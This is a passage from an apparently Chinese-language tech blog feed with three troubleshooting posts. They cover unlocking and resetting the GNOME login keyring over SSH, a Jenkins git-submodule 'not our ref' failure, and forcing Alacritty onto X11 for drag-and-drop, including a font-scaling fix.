        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/ssh-unlock-gnome-keyring/">&lt;h1 id=&quot;ssh-deng-lu-xia-jie-suo-gnome-keyring&quot;&gt;SSH 登录下解锁 GNOME Keyring&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;p&gt;通过 SSH（无图形会话）远程登录一台 GNOME 桌面机器时，&lt;code&gt;gnome-keyring-daemon&lt;&#x2F;code&gt; 的 &lt;code&gt;login&lt;&#x2F;code&gt; collection 通常处于&lt;strong&gt;锁定&lt;&#x2F;strong&gt;状态——它只在用户通过 GDM&#x2F;PAM 图形登录时自动解锁。&lt;&#x2F;p&gt;
&lt;p&gt;锁定的后果之一：&lt;code&gt;gnome-remote-desktop&lt;&#x2F;code&gt; 这类依赖 libsecret 同步读取凭据的程序，在初始化时调用 &lt;code&gt;secret_service_async_initable_init_async&lt;&#x2F;code&gt; &lt;strong&gt;永不返回&lt;&#x2F;strong&gt;，导致 RDP&#x2F;VNC 服务卡死、不监听端口。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pan-duan-keyring-shi-fou-suo-ding&quot;&gt;判断 keyring 是否锁定&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export DBUS_SESSION_BUS_ADDRESS=unix:path=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000&amp;#x2F;bus
busctl --user get-property org.freedesktop.secrets \
  &amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;secrets&amp;#x2F;collection&amp;#x2F;login \
  org.freedesktop.Secret.Collection Locked
# b true  → 锁定
# b false → 已解锁
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：SSH 会话默认可能没有 &lt;code&gt;DBUS_SESSION_BUS_ADDRESS&lt;&#x2F;code&gt;，必须先指到用户会话总线（路径中的 &lt;code&gt;1000&lt;&#x2F;code&gt; 是 uid，按实际替换）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-fa-yi-gnome-keyring-daemon-unlock-tui-jian&quot;&gt;方法一：gnome-keyring-daemon --unlock（推荐）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;gnome-keyring-daemon&lt;&#x2F;code&gt; 自带 &lt;code&gt;--unlock&lt;&#x2F;code&gt; 选项，可从 stdin 读取密码，无需交互弹窗，适合 SSH：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export DBUS_SESSION_BUS_ADDRESS=unix:path=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000&amp;#x2F;bus
echo &amp;#x27;你的keyring密码&amp;#x27; | gnome-keyring-daemon --unlock \
  --control-directory=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000&amp;#x2F;keyring
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;--control-directory&lt;&#x2F;code&gt; 必须与正在运行的 keyring 实例一致（通常是 &lt;code&gt;&#x2F;run&#x2F;user&#x2F;&amp;lt;uid&amp;gt;&#x2F;keyring&lt;&#x2F;code&gt;），否则会起一个新的 daemon 而不是解锁现有实例。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-fa-er-secret-service-unlock-prompt&quot;&gt;方法二：Secret Service Unlock + Prompt&lt;&#x2F;h2&gt;
&lt;p&gt;标准 D-Bus 流程，调用 &lt;code&gt;org.freedesktop.Secret.Service.Unlock&lt;&#x2F;code&gt; 拿到 prompt 路径，再用 &lt;code&gt;Prompt.Complete&lt;&#x2F;code&gt; 提交密码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export DBUS_SESSION_BUS_ADDRESS=unix:path=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000&amp;#x2F;bus
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import dbus
bus = dbus.SessionBus()
svc = bus.get_object(&amp;#x27;org.freedesktop.secrets&amp;#x27;, &amp;#x27;&amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;secrets&amp;#x27;)
iface = dbus.Interface(svc, &amp;#x27;org.freedesktop.Secret.Service&amp;#x27;)

objects, prompt = iface.Unlock(dbus.Array(
    [dbus.ObjectPath(&amp;#x27;&amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;secrets&amp;#x2F;collection&amp;#x2F;login&amp;#x27;)],
    signature=&amp;#x27;o&amp;#x27;))

if prompt != &amp;#x27;&amp;#x2F;&amp;#x27;:
    p = bus.get_object(&amp;#x27;org.freedesktop.secrets&amp;#x27;, prompt)
    dbus.Interface(p, &amp;#x27;org.freedesktop.secrets.Prompt&amp;#x27;).Complete(&amp;#x27;你的keyring密码&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;guan-jian-mi-ma-shi-na-yi-ge&quot;&gt;关键：密码是哪一个？&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;login keyring 的密码是&lt;strong&gt;创建 keyring 时设置的那一个&lt;&#x2F;strong&gt;，通常是&lt;strong&gt;用户的图形登录密码&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;不是 RDP 凭据、sudo 密码或其他应用密码&lt;&#x2F;li&gt;
&lt;li&gt;密码不对时 unlock 静默失败，&lt;code&gt;Locked&lt;&#x2F;code&gt; 仍为 &lt;code&gt;b true&lt;&#x2F;code&gt;（实测错误的 keyring 密码均失败）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;xiu-gai-zhong-zhi-keyring-mi-ma-ssh&quot;&gt;修改 &#x2F; 重置 keyring 密码（SSH）&lt;&#x2F;h2&gt;
&lt;p&gt;unlock 的前提是密码正确；如果密码忘了，或想设成一个已知密码，SSH 下也有办法，无需图形界面。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiu-gai-mi-ma-zhi-dao-dang-qian-mi-ma&quot;&gt;修改密码（知道当前密码）&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;方式 A：GUI（需要图形桌面会话，如 Seahorse）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在桌面上打开「密码和密钥」（Seahorse）→ 左侧「密码」→ 右键 &lt;code&gt;login&lt;&#x2F;code&gt; → 「更改密码」，输入旧密码 + 新密码即可。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;SSH 下想用 GUI 的话，可以 &lt;code&gt;ssh -X&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ssh -Y&lt;&#x2F;code&gt; 转发 X11，或借助远程桌面的图形会话。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;方式 B：纯 SSH 无 GUI&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;用 Secret Service 的 &lt;code&gt;ChangeWithPrompt&lt;&#x2F;code&gt; 方法，走 D-Bus，流程和「方法二」类似：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import dbus
bus = dbus.SessionBus()
col = bus.get_object(&amp;#x27;org.freedesktop.secrets&amp;#x27;,
                     &amp;#x27;&amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;secrets&amp;#x2F;collection&amp;#x2F;login&amp;#x27;)
iface = dbus.Interface(col, &amp;#x27;org.freedesktop.Secret.Collection&amp;#x27;)

old = &amp;#x27;当前keyring密码&amp;#x27;   # keyring 已解锁时可以为空字符串
new = &amp;#x27;新密码&amp;#x27;
prompt = iface.ChangeWithPrompt(&amp;#x27;&amp;#x2F;&amp;#x27;, old, new)

if prompt != &amp;#x27;&amp;#x2F;&amp;#x27;:
    p = bus.get_object(&amp;#x27;org.freedesktop.secrets&amp;#x27;, prompt)
    dbus.Interface(p, &amp;#x27;org.freedesktop.secrets.Prompt&amp;#x27;).Complete(new)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;ChangeWithPrompt&lt;&#x2F;code&gt; 返回 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 表示直接改成功；返回其他路径时需按「方法二」的方式 &lt;code&gt;Prompt.Complete&lt;&#x2F;code&gt; 确认。改完后，&lt;code&gt;--unlock&lt;&#x2F;code&gt; 用的密码也要换成新密码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zhong-zhi-mi-ma-wang-ji-mi-ma&quot;&gt;重置密码（忘记密码）&lt;&#x2F;h3&gt;
&lt;p&gt;密码忘了&lt;strong&gt;无法找回&lt;&#x2F;strong&gt;，keyring 里保存的凭据会一并丢失，只能重建：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mv ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;login.keyring ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;keyrings.bak
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下次使用时 gnome-keyring-daemon 会创建一个新的空 login keyring；之后若图形登录，PAM 会把它的密码设回当前登录密码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yi-ge-chang-jian-keng&quot;&gt;一个常见坑&lt;&#x2F;h3&gt;
&lt;p&gt;SSH 下 &lt;code&gt;passwd&lt;&#x2F;code&gt; 改了账户密码，keyring 密码&lt;strong&gt;不会跟着变&lt;&#x2F;strong&gt;——pam_gnome_keyring 只在图形登录时同步。所以会出现「账户密码正确、&lt;code&gt;--unlock&lt;&#x2F;code&gt; 却失败」，此时 keyring 密码仍是改密码前的那个，需要用旧密码先解锁再改。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;busctl --user get-property org.freedesktop.secrets \
  &amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;secrets&amp;#x2F;collection&amp;#x2F;login \
  org.freedesktop.Secret.Collection Locked   # b false = 成功
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解锁后，被卡住的 &lt;code&gt;gnome-remote-desktop&lt;&#x2F;code&gt; 守护进程需重启才能继续初始化：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user restart gnome-remote-desktop.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;SSH 下解锁 keyring 用 &lt;code&gt;echo &#x27;密码&#x27; | gnome-keyring-daemon --unlock --control-directory=&#x2F;run&#x2F;user&#x2F;&amp;lt;uid&amp;gt;&#x2F;keyring&lt;&#x2F;code&gt; 即可&lt;&#x2F;li&gt;
&lt;li&gt;前提是密码正确，且 &lt;code&gt;DBUS_SESSION_BUS_ADDRESS&lt;&#x2F;code&gt; 与 &lt;code&gt;--control-directory&lt;&#x2F;code&gt; 都指向现有会话实例&lt;&#x2F;li&gt;
&lt;li&gt;改密码用 &lt;code&gt;ChangeWithPrompt&lt;&#x2F;code&gt;，忘了密码只能删 &lt;code&gt;login.keyring&lt;&#x2F;code&gt; 重建（凭据全丢）&lt;&#x2F;li&gt;
&lt;li&gt;若只是排查 gnome-remote-desktop 卡死，先确认 keyring 是否锁定，再决定是否解锁还是改用不依赖 keyring 的配置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>git 常见问题记录</title>
        <published>2026-08-11T12:00:00+08:00</published>
        <updated>2026-08-11T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/git常见问题记录/"/>
        <id>https://vercel.juzhong.asia/2026/08/git常见问题记录/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/git常见问题记录/">&lt;p&gt;工作中遇到的 git 常见问题，按主题持续补充。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zi-mo-kuai-li-shi-zhong-yin-yong-de-commit-bi-xu-zai-yuan-cheng-ke-da&quot;&gt;子模块历史中引用的 commit 必须在远程可达&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;Jenkins 构建时在 SCM checkout 阶段失败，还没有进入编译：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Fetching submodule cmake
 * [new branch]      xxx-db-tar -&amp;gt; origin&amp;#x2F;xxx-db-tar
fatal: git upload-pack: not our ref 869a283bf32a3ec38e4c4224e0babdad3c97e019
fatal: remote error: upload-pack: not our ref 869a283bf32a3ec38e4c4224e0babdad3c97e019
Errors during submodule fetch:
	cmake
ERROR: Error fetching remote repo &amp;#x27;origin&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;p&gt;父仓库（这里用 xxx-tool-database 代替真名）的 refactor 分支历史中，较早的提交 &lt;code&gt;ba5e751&lt;&#x2F;code&gt; 引用过 cmake 子模块的提交 &lt;code&gt;869a283&lt;&#x2F;code&gt;。之后子模块被回退、新开了 &lt;code&gt;xxx-db-tar&lt;&#x2F;code&gt; 分支并推送，但 &lt;code&gt;869a283&lt;&#x2F;code&gt; 这个旧提交只存在于本地，从未推送到远程 xxx-cmake 仓库。&lt;&#x2F;p&gt;
&lt;p&gt;Jenkins 递归拉取子模块时，需要为父仓库 gitlink 引用的提交做 fetch，远程仓库里没有这个对象，于是报 &lt;code&gt;not our ref&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-li-pu-tong-git-yu-jenkins-de-yao-qiu-chai-yi&quot;&gt;原理：普通 git 与 Jenkins 的要求差异&lt;&#x2F;h2&gt;
&lt;p&gt;普通 git 本身并不要求&quot;父仓库所有历史引用的子模块 commit 都在远程&quot;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;clone 父仓库时，gitlink 只记录一个 SHA（160000 模式条目），不做可达性校验；&lt;&#x2F;li&gt;
&lt;li&gt;只有执行 &lt;code&gt;git submodule update --init&lt;&#x2F;code&gt; 时，才需要&lt;strong&gt;当前 gitlink 指向的那一个&lt;&#x2F;strong&gt; commit 的对象可获取；&lt;&#x2F;li&gt;
&lt;li&gt;因此普通 git 只关心&quot;现在要 checkout 的那个 commit&quot;，不关心其他历史提交。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;但远程服务端（GitLab&#x2F;GitHub）对 &lt;code&gt;git fetch &amp;lt;明确 SHA&amp;gt;&lt;&#x2F;code&gt; 有限制：默认只允许 fetch 在某个分支&#x2F;标签上可达的对象（&lt;code&gt;uploadpack.allowAnySHA1InWant&lt;&#x2F;code&gt; 关闭）。所以子模块 commit 必须推到了远程某个 ref 上才能被 fetch。&lt;&#x2F;p&gt;
&lt;p&gt;Jenkins 的 SCM checkout 会对子模块做 fetch，把父仓库 gitlink 引用的 commit 取下来。当父仓库历史中引用过某个从未推送的子模块 commit 时，就会触发上述 &lt;code&gt;not our ref&lt;&#x2F;code&gt; 错误。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-lun&quot;&gt;结论&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;父仓库历史中引用过的所有子模块 commit，都必须在子模块远程仓库的某个 ref 上可达&lt;&#x2F;strong&gt;，否则 Jenkins 递归拉取子模块会失败。推父仓库分支到上游前，先确认历史中引用过的子模块提交都已在远程推送。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-fang-fa&quot;&gt;排查方法&lt;&#x2F;h2&gt;
&lt;p&gt;列出父仓库历史中引用的子模块提交：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git log --format=&amp;#x27;%h %s&amp;#x27; -- &amp;lt;submodule-path&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;逐个确认这些提交是否在子模块远程分支上可达：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git -C &amp;lt;submodule&amp;gt; merge-base --is-ancestor &amp;lt;sha&amp;gt; origin&amp;#x2F;master
git -C &amp;lt;submodule&amp;gt; merge-base --is-ancestor &amp;lt;sha&amp;gt; origin&amp;#x2F;&amp;lt;branch&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;缺失时补推一个临时分支即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git -C &amp;lt;submodule&amp;gt; push origin &amp;lt;sha&amp;gt;:temp-&amp;lt;short-sha&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 使用优化记录（一）：终端与 Wayland 使用优化</title>
        <published>2026-08-11T11:11:10+08:00</published>
        <updated>2026-08-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/linux-usage-optimization-notes/"/>
        <id>https://vercel.juzhong.asia/2026/08/linux-usage-optimization-notes/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/linux-usage-optimization-notes/">&lt;h2 id=&quot;he-ji-shuo-ming&quot;&gt;合集说明&lt;&#x2F;h2&gt;
&lt;p&gt;记录日常 Linux 使用中遇到的小问题与调优过程：现象 → 排查 → 解决 → 总结，方便日后检索复用。本文是第一篇。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;从文件管理器（Nautilus）把文件拖进终端窗口，期望在命令行插入文件路径：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;kitty&lt;&#x2F;strong&gt;：拖放正常，路径直接插入&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Alacritty&lt;&#x2F;strong&gt;：完全无反应，鼠标光标没有任何反馈&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-sheng-ji-ban-ben-wu-xiao&quot;&gt;1. 升级版本无效&lt;&#x2F;h3&gt;
&lt;p&gt;当时 Alacritty 是 apt 装的 0.13.2，先用 cargo 升级到最新的 0.17.0：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cargo install alacritty --version 0.17.0 --locked
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.cargo&#x2F;bin&lt;&#x2F;code&gt; 在 PATH 最前，新版本生效（&lt;code&gt;alacritty --version&lt;&#x2F;code&gt; 确认）。&lt;strong&gt;但拖放依旧不行。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-que-ren-shi-shang-you-wei-shi-xian-er-fei-pei-zhi-wen-ti&quot;&gt;2. 确认是上游未实现，而非配置问题&lt;&#x2F;h3&gt;
&lt;p&gt;查 GitHub 找到对应 issue：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alacritty&#x2F;alacritty&#x2F;issues&#x2F;4010&quot;&gt;alacritty&#x2F;alacritty#4010&lt;&#x2F;a&gt; &quot;Drag and drop to paste file path doesn&#x27;t work under Wayland&quot;，状态 &lt;strong&gt;Open&lt;&#x2F;strong&gt;，被上游 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-windowing&#x2F;winit&#x2F;issues&#x2F;1881&quot;&gt;winit#1881&lt;&#x2F;a&gt; 阻塞。&lt;&#x2F;p&gt;
&lt;p&gt;关键时间线：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;winit 的 Wayland DnD 实现（PR #4571）&lt;strong&gt;2026-07-16 才合并到 master&lt;&#x2F;strong&gt;，尚未发布到 crates.io&lt;&#x2F;li&gt;
&lt;li&gt;Alacritty 还在用 crates.io 的 winit 0.30.x，自然没有该功能&lt;&#x2F;li&gt;
&lt;li&gt;也就是说：&lt;strong&gt;Alacritty 在 Wayland 下不支持拖放是功能缺失，升级解决不了&lt;&#x2F;strong&gt;，只能等 winit 发版 + Alacritty 适配&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-chang-shi-x11-hou-duan-winit-unix-backend-cai-keng&quot;&gt;3. 尝试 X11 后端：WINIT_UNIX_BACKEND 踩坑&lt;&#x2F;h3&gt;
&lt;p&gt;issue 里确认 X11 模式下拖放可用，于是尝试强制 X11 后端：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;WINIT_UNIX_BACKEND=x11 alacritty
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;无效！&lt;&#x2F;strong&gt; 用 &lt;code&gt;lsof&lt;&#x2F;code&gt; 检查进程，发现它监听的还是 &lt;code&gt;Alacritty-wayland-0-*.sock&lt;&#x2F;code&gt;，实际跑的还是 Wayland 后端。&lt;&#x2F;p&gt;
&lt;p&gt;查 winit 源码（&lt;code&gt;platform_impl&#x2F;linux&#x2F;mod.rs&lt;&#x2F;code&gt; 的 &lt;code&gt;EventLoop::new&lt;&#x2F;code&gt;）才明白：winit 0.29 起&lt;strong&gt;已移除 &lt;code&gt;WINIT_UNIX_BACKEND&lt;&#x2F;code&gt; 环境变量&lt;&#x2F;strong&gt;，后端选择只看 &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;DISPLAY&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Breaking:&lt;&#x2F;strong&gt; &lt;code&gt;WINIT_UNIX_BACKEND&lt;&#x2F;code&gt; was removed in favor of standard &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt; and &lt;code&gt;DISPLAY&lt;&#x2F;code&gt; variables.（winit 0.29 changelog）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;也就是说旧教程里的 &lt;code&gt;WINIT_UNIX_BACKEND=x11&lt;&#x2F;code&gt; 对现代 winit 是&lt;strong&gt;无效的&lt;&#x2F;strong&gt;，坑了不少人。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-jue-fang-an&quot;&gt;解决方案&lt;&#x2F;h2&gt;
&lt;p&gt;正确的强制 X11 后端方式是 &lt;strong&gt;unset &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;，winit 检测不到 Wayland 后自然 fallback 到 X11：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;env -u WAYLAND_DISPLAY alacritty
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证方法（确认窗口真的跑在 X11）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 窗口应出现在 X11 窗口树，带 mutter-x11-frames 装饰
DISPLAY=:0 wmctrl -l

# 进程不再监听 wayland socket，且无 Alacritty-wayland-*.sock
lsof -p $(pgrep -x alacritty) | grep -E &amp;#x27;Alacritty.*sock&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实测从 Nautilus 拖文件，路径正常插入。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gu-hua-qi-dong-fu-gai-desktop-wen-jian&quot;&gt;固化启动：覆盖 desktop 文件&lt;&#x2F;h3&gt;
&lt;p&gt;改系统 desktop 文件不持久（升级 apt 包会覆盖），在用户级同名文件覆盖即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;applications&amp;#x2F;Alacritty.desktop
[Desktop Entry]
Type=Application
TryExec=alacritty
Exec=env -u WAYLAND_DISPLAY alacritty
Icon=Alacritty
Terminal=false
Categories=System;TerminalEmulator;

Name=Alacritty
GenericName=Terminal
Comment=A fast, cross-platform, OpenGL terminal emulator
StartupNotify=true
StartupWMClass=Alacritty
Actions=New;

[Desktop Action New]
Name=New Terminal
Exec=env -u WAYLAND_DISPLAY alacritty
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;desktop-file-validate ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;applications&amp;#x2F;Alacritty.desktop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后从应用菜单&#x2F;桌面启动的 Alacritty 都走 X11 后端。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-er-x11-hou-duan-xia-zi-ti-bian-da&quot;&gt;问题二：X11 后端下字体变大&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;xian-xiang-1&quot;&gt;现象&lt;&#x2F;h3&gt;
&lt;p&gt;改完 desktop 文件后，从应用菜单启动的 Alacritty 字体明显变大（18pt 看起来像 27pt），而之前 Wayland 后端时正常。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yuan-yin-fen-xi&quot;&gt;原因分析&lt;&#x2F;h3&gt;
&lt;p&gt;排查链路：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;GNOME 全局设了 &lt;code&gt;text-scaling-factor = 1.5&lt;&#x2F;code&gt;（GNOME Tweaks → 字体 → 缩放因子，或 &lt;code&gt;gsettings&lt;&#x2F;code&gt; 设置，默认 1.0）&lt;&#x2F;li&gt;
&lt;li&gt;GNOME 会话会把该值&lt;strong&gt;同步给 XWayland&lt;&#x2F;strong&gt;：&lt;code&gt;Xft.dpi = 96 × 1.5 = 144&lt;&#x2F;code&gt;（可用 &lt;code&gt;xrdb -q | grep Xft.dpi&lt;&#x2F;code&gt; 确认）&lt;&#x2F;li&gt;
&lt;li&gt;winit 的 X11 后端按 &lt;code&gt;Xft.dpi &#x2F; 96&lt;&#x2F;code&gt; 计算窗口 scale factor → 1.5&lt;&#x2F;li&gt;
&lt;li&gt;Alacritty 字体大小 = &lt;code&gt;font.size (18pt) × scale factor&lt;&#x2F;code&gt; → 视觉 27pt&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;Wayland 后端不读 Xft.dpi&lt;&#x2F;strong&gt;（用 compositor 的 surface scale），所以之前从终端启动（Wayland）完全正常，切到 X11 后端才暴露。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jie-jue-fang-an-1&quot;&gt;解决方案&lt;&#x2F;h3&gt;
&lt;p&gt;两个层次，可叠加：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;单独压掉 Alacritty 的缩放&lt;&#x2F;strong&gt;（推荐，不影响全局）：winit 支持 &lt;code&gt;WINIT_X11_SCALE_FACTOR&lt;&#x2F;code&gt; 环境变量强制 scale factor（数字，或 &lt;code&gt;randr&lt;&#x2F;code&gt; 用 xrandr 自算）：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;Exec=env -u WAYLAND_DISPLAY WINIT_X11_SCALE_FACTOR=1.0 alacritty
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
